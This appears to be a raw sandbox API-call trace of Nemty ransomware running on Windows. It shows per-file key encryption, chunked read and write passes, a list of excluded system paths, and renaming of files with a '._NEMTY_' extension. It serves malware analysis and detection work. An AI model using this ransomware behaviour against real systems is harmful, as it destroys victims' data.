lpWideCharStr="calendar_single_orange.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0112.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0112.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_orange.png", cchWideChar=26, lpMultiByteStr=0x4f9ed58, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_single_orange.png", lpUsedDefaultChar=0x0) returned 26 [0112.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0112.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0112.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0112.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0112.195] Sleep (dwMilliseconds=0x5) [0112.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6874710, dwHighDateTime=0x1d561e7)) [0112.209] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6874710, dwHighDateTime=0x1d561e7)) [0112.209] GetLastError () returned 0x5 [0112.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0112.209] GetLastError () returned 0x5 [0112.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0112.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0112.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0112.209] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0112.209] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0112.209] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0112.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340328 [0112.209] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340328, pcchString=0x653e91c | out: pszString="14fgGPypahmzsr2I6gNqedPGfYOY6XGwZq9C6LvcCf8H63YGiIXz7wqoyS+73Waq\r\nxWbSyjY8jvC46owcDO4PQNqdP/YxoZ2Sb1TAkldmX5Mt7yzZYw7cl3pCcg94ATU9\r\nyuhwqw9sOgHbyv8OMF6bRQDcVtThAANZvFq5y3WqwsNdGA6gIvRlgAw3rFYnLsbZ\r\nvG2bQMFb2TZih9ft9tga5I7MSMWsXSQe5DKph4aK8kFXrM5JUU6khjppnE/rHhUY\r\nAbSbueJWz4NdtpaQmzwo79oHqbHPN78M1Wyd3VQ7SqMah0Ah5sHZh+eVMEKM+lD4\r\n7jpLxXFR4B+T+ngtE0JLeA==\r\n", pcchString=0x653e91c) returned 1 [0112.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0112.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0112.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0112.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0112.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340328 [0112.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0112.209] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_orange.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_orange.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.209] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0112.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0112.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.210] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.219] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.219] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.228] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.228] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.238] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.238] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.247] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.247] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.257] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.257] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.266] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.266] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.275] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.275] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.285] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.285] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.294] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.294] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.294] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.304] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.304] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.310] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.310] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.316] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.316] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340328, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0112.316] CloseHandle (hObject=0xffffffff) returned 0 [0112.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340498 [0112.316] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0112.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0112.316] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0112.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0112.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0112.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0112.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0112.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0112.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0112.316] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_orange.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_orange.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_orange.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_orange.png._nemty_kgobjgd_")) returned 0 [0112.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0112.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0112.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0112.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0112.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0112.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0112.316] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0112.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0112.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0112.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.317] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82542ca0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82542ca0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x283e3003, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="corner.png", cAlternateFileName="")) returned 1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2=".") returned 1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="..") returned 1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="...") returned 1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="windows") returned -1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="$RECYCLE.BIN") returned 1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="rsa") returned -1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="NTDETECT.COM") returned -1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="ntldr") returned -1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="MSDOS.SYS") returned -1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="IO.SYS") returned -1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="boot.ini") returned 1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="boot.ini") returned 1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="AUTOEXEC.BAT") returned 1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="ntuser.dat") returned -1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="desktop.ini") returned -1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="CONFIG.SYS") returned 1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="RECYCLER") returned -1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="BOOTSECT.BAK") returned 1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="bootmgr") returned 1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="programdata") returned -1 [0112.317] lstrcmpiW (lpString1="corner.png", lpString2="appdata") returned 1 [0112.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="corner.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0112.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="corner.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="corner.png", lpUsedDefaultChar=0x0) returned 10 [0112.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0112.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="corner.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0112.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="corner.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="corner.png", lpUsedDefaultChar=0x0) returned 10 [0112.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0112.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="corner.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0112.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="corner.png", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="corner.png", lpUsedDefaultChar=0x0) returned 10 [0112.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="corner.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0112.318] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="corner.png", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="corner.png", lpUsedDefaultChar=0x0) returned 10 [0112.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0112.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0112.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0112.318] Sleep (dwMilliseconds=0x5) [0112.318] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf697f0b0, dwHighDateTime=0x1d561e7)) [0112.318] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf697f0b0, dwHighDateTime=0x1d561e7)) [0112.318] GetLastError () returned 0x5 [0112.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0112.318] GetLastError () returned 0x5 [0112.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0112.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0112.318] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0112.318] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0112.319] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0112.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340308 [0112.319] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340308, pcchString=0x653e91c | out: pszString="5CQzlAezpJjV7jnIA0Ga5HN3EQ3KwMw7WZOFuBqFcKzZahvFuBP87yoH08O6luXS\r\nIRDF29XlY6GahVPKA+x0LMYhKNxBuCy0T9QRzhAGXZ17v3ODkAq26U/LuICNnDhn\r\n82osVJzr+lQRByVd0vOuQdhMPGINxs5T/S2GoYEpffRfPycBbw/PeXICfnOgo4cP\r\nxIgZiKI9Mr7O5vR7fRO45sttbIy/N8nqBIFQhaaoX6wgFqmSUO4pPoEvP967lFTX\r\nFAOcU8ITOQTSVU/mbYqjilml6IOXF5gFuL4Fgm3RVdCrW0F+Ac+stfK8WnkMqxE1\r\n2TrxfKEJCL7ZMCdSA7vpow==\r\n", pcchString=0x653e91c) returned 1 